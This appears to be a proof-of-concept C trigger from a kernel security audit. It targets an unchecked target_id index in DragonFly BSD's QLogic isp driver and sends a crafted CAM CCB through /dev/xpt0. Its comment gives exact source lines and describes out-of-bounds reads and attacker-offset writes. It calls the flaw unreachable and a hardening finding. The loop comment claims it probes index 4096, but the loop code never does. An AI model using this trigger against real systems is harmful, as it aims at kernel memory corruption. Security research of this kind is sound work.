DF-3658 / trig_tran.c
/* DF-3658 trigger: attempt XPT_GET_TRAN_SETTINGS with an out-of-range target * via /dev/xpt0 CAMIOCOMMAND. * * Bug: isp_freebsd.c:4585/4616-4623 (XPT_SET_TRAN_SETTINGS) writes * sdp->isp_devparam[tgt].{goal_flags,goal_period,goal_offset,dev_update} and * :4664-4673 (XPT_GET_TRAN_SETTINGS) reads the same array, and :4649 reads * fcp->isp_dev_map[tgt], all with tgt = cts->ccb_h.target_id and NO bounds * check. sdparam.isp_devparam[] has MAX_TARGETS=16 entries (ispvar.h:195); * fcparam.isp_dev_map[] has MAX_FC_TARG=512 uint16_t entries (ispvar.h:485). * A crafted CCB with target_id >= 16 (SCSI) / >= 512 (FC) gives an OOB * wild read (GET) and OOB 16-bit writes (SET) at attacker-chosen offsets * from the sdparam heap allocation. * * On this guest this is unreachable two ways over: (a) no QLogic HBA => no * isp bus in CAM, (b) DragonFly's xptioctl() CAMIOCOMMAND whitelist does not * include XPT_GET/SET_TRAN_SETTINGS, so userland cannot inject the CCB at * all. In-kernel CAM clients use bounded targets, so this is a hardening * finding (mirror of DF-3574 sym / DF-3609 ncr). */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/ioctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_pass.h> int main(void) { union ccb ccb; int fd, rv, tgt; fd = open("/dev/xpt0", O_RDWR); if (fd < 0) { printf("open(/dev/xpt0): %s\n", strerror(errno)); return (1); } for (tgt = 0; tgt < 4096; tgt += 4096) { /* 0 and 4096: far OOB */ memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_GET_TRAN_SETTINGS; ccb.ccb_h.path_id = 0; ccb.ccb_h.target_id = tgt; /* isp would index [4096] */ ccb.ccb_h.target_lun = 0; ccb.cts.type = CTS_TYPE_CURRENT_SETTINGS; rv = ioctl(fd, CAMIOCOMMAND, &ccb); printf("XPT_GET_TRAN_SETTINGS tgt=%d -> rv=%d errno=%d (%s)\n", tgt, rv, errno, rv ? strerror(errno) : "reached SIM"); } close(fd); return (0); } |